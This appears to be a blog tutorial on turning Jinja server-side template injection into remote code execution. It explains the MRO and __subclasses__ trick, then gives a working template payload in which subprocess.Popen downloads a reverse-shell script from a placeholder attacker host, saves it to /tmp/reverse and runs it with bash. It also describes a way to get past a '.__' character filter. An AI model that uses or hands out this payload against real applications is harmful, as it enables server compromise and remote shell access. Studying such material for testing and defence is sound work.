RCE w/ Jinja templates
In our previous article on server-side template injection (SSTI) attacks against Jinja, we only discussed leaking sensitive information using some Python builtins. That doesn’t do SSTI against Jinja must justice because we can definitely gain remote code execution (RCE) with a little bit of elbow grease.
What have to realize with Jinja is that we have access to all of the Python
packages, classes, types, methods, etc. imported by the web application and
currently available in the Python runtime at time of template injection. This
means we have access to things like subprocess.Popen, os, sys etc.
Using the following dark magic, we can expose all classes available to us in the Python runtime through Jinja template injection:
{{ dict.mro()[-1].__subclasses__() }}What do these incantations mean? mro stands for Method Resolution Order
(MRO) and it’s a method inherited by every Python class that exposes the class
order an object searches to find the implementation of a method in any of its
parent classes. In the snippet above, we use the <class 'object'> class,
always the last class in the MRO, to obtain access to all the subclasses of the
<class 'object'> class.
The <class 'object'> class is the parent of all classes implemented in
Python, giving us access to all global class definitions in the current runtime.
Finally, we call the special __subclasses__ method that gives us a reference
to all the subclasses of the <class 'object'> class in the current Python
runtime, giving us the ability to instantiate arbitrary objects for any class in
the current runtime. More on these builtin classes can be found below:
The following snippet is a Jinja template that uses subprocess.Popen to
download a reverse shell bash script from the attacker host to the victim
host, saving it to /tmp/reverse and then executing /tmp/reverse in bash to
initiate a reverse shell callback to the attacker host:
{% set string = "" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{% set subclasses_r = mro_r[-1]|attr(subclasses)() %}
{{ subclasses_r }}
{% if subclasses_r[570](["curl", "http://{ATTACKER_HOST}:{ATTACKER_PORT}/reverse", "-o", "/tmp/reverse"]) %}
{{ subclasses_r[570](["bash", "/tmp/reverse"]) }}
{% endif %}Be wary of the index reference subclasses_r[570] - this won’t always be the
same for all Python web applications vulnerable to Jinja SSTI. Like I mentioned
earlier, every time a Python web application starts, the __subclasses__ order
will change. Thus, we have to expose the entire list of __subclasses__
first, find the index of the subprocess.Popen subclass in the __subclasses__
list, and then use that for our follow-up RCE payload.
Bypassing Jinja template filters
The above snippet provides an example of bypassing Jinja template filters. In our case, we were avoiding the following bad characters:
.__The Python web application would reject templates with any characters following that exact pattern. In order to access the__mro__and__subclasses__attributes of ourstringand<class 'object'>classes, we used the Jinjaattrfunction to access class attributes and methods. We also used the Jinja{%%}directives to store the outcomes of our attribute and method calls.
We also use {% if %} and {% endif %} to spawn our download and execute
subprocess.Popen calls consecutively instead of in parallel. More or bypassing
Jinja template filters, or just really good example payloads, can be found on
HackTricks: